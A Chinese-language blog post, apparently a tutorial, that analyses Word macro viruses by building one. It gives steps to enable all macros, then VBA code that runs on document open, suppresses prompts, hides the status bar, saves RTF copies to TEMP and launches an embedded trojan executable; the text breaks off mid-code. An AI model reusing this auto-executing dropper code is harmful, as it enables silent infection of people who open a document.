发布于2022年11月8日3年前 宏病毒的简单分析 PUBLISHED 2017-01-16 BY LIWZ11 Office是一款应用广泛的办公软件,它允许在文档中使用功能强大的可执行指令,也就是宏代码。然而,宏代码带来便利的同时,也使得病毒的制造与传播更加容易。正所谓想要瓦解敌人,一定要从内部开始,所以从Word宏病毒的实现入手,来分析其感染原理。 一、实验环境 实验目标:打开Word文档时,自动运行某个指定程序。 1. 启用所有宏 新建Word文档并打开,进入[选项]->[信任中心]->[信任中心设置]->[宏设置],点选“启用所有宏”。我的Office版本是2013,其他版本的设置大同小异,细节上可能有些许差别,读者自行Google。 2. 创建宏 进入[视图]->[宏],“宏名”任意输入,“宏的位置”选择当前活动文档,然后点击[创建],即可成功创建一个宏,并自动进入宏代码编辑模块。 3. 编写宏代码 选择工程目录中的[Project/Microsoft Word 对象/ThisDocument],编写如下代码: Private Sub Document_Open() Application.DisplayStatusBar = False ' 隐藏文档的状态栏 Options.SaveNormalPrompt = False ' 取消退出前对Normal模板的保存更改提示 On Error GoTo temperr temp = Environ$("TEMP") + "\" ' 获取系统临时目录 GoTo nomal temperr: temp = Environ("TEMP") + "\" GoTo nomal nomal: original = ActiveDocument.FullName ' 当前文档的全路径 rtf1 = temp + "1.rtf" rtf2 = temp + "2.rtf" exe = temp + "tmp.exe" ' 嵌在文档中的木马程序 exe2 = temp + "tmp (2).exe" Dim wrdApp As Object Set wrdApp = CreateObject("Word.Application") wrdApp.Visible = False try: On Error GoTo err1 ActiveDocument.SaveAs2 FileName:=rtf1, FileFormat:=wdFormatRTF ' 将当前文档另存为RTF ActiveDocument.SaveAs2 FileName:=rtf2, FileFormat:=wdFormatRTF ActiveDocument.SaveAs2 FileName:=original, FileFormat:=wdFormatDocument Set wrdDoc = wrdApp.Documents.Open(rtf1) ' 打开临时目录中的RTF文件 On Error GoTo err2 'Shell (exe, 0) ' 隐藏窗口执行木马程序 Shell (exe) ' 显示窗口执行木马程序 GoTo final err1: GoTo final err2: 'Shell (exe2, 0) Shell (exe2) GoTo final final: wrdApp.Quit